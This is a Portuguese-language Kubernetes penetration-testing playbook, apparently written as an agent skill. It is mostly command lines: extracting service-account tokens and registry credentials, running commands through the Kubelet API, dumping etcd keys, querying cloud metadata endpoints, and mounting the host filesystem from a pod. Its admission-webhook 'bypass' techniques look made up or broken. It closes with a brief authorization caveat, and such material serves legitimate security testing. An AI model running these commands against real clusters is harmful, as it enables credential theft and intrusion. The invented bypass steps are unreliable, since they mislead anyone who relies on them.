O que kubernetes-pentesting faz?
Playbook de teste de penetração em Kubernetes. Use ao atacar clusters Kubernetes via servidor de API, enumeração RBAC, abuso de contas de serviço, acesso ao etcd, API Kubelet, escape de pods, metadados específicos de nuvem, bypass de webhook de admissão e segredos de registro.
Introdução
Este playbook fornece um conjunto de técnicas e comandos para realizar testes de penetração em clusters Kubernetes. O objetivo é identificar vulnerabilidades e configrações incorretas que podem ser exploradas por atacantes.
Técnicas
Exploração do Servidor de API
- Listar recursos acessíveis sem autenticação:
kubectl --insecure-skip-tls-verify get pods --all-namespaces - Enumeração de portas do API Server:
nc -zv <api-server-ip> 6443
Enumeração RBAC
- Listar roles e cluster roles:
kubectl get roles --all-namespaces kubectl get clusterroles - Verificar permissões de um usuário:
kubectl auth can-i --list
Abuso de Contas de Serviço
- Listar contas de serviço:
kubectl get serviceaccounts - Obter token de uma conta de serviço:
kubectl get secret <secret-name> -o jsonpath='{.data.token}' | base64 --decode
Acesso ao etcd
- Verificar se o etcd está acessível:
curl -k https://<etcd-endpoint>:2379/health - Listar chaves no etcd:
etcdctl get / --prefix --keys-only
API Kubelet
- Listar pods via API Kubelet:
curl -k https://<node-ip>:10250/pods - Executar comandos em um pod:
curl -k -XPOST https://<node-ip>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
Escape de Pods
- Montar o sistema de arquivos do host:
volumes: - name: hostfs hostPath: path: / - Usar capabilities para escalonamento:
capsh --print
Metadados Específicos de Nuvem
- AWS:
curl http://169.254.169.254/latest/meta-data/ - GCP:
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/ - Azure:
curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2021-02-01
Bypass de Webhook de Admissão
- Modificar labels para evitar validação:
kubectl label pod <pod-name> admission-webhook-bypass=true - Usar APIs antigas que não possuem webhooks:
kubectl --api-version=v1beta1 create -f pod.yaml
Segredos de Registro
- Listar secrets de registro:
kubectl get secrets -o json | jq '.items[] | select(.type == "kubernetes.io/dockerconfigjson") | .data.".dockerconfigjson"' | base64 --decode - Extrair credenciais de registro:
kubectl get secret <regcred> -o jsonpath='{.data.\\.dockerconfigjson}' | base64 --decode | jq '.auths'
Considerações de Segurança
- Sempre obtenha autorização antes de realizar testes de penetração.
- Use ambientes isolados para evitar danos a sistemas de produção.
- Documente todas as descobertas e ações realizadas.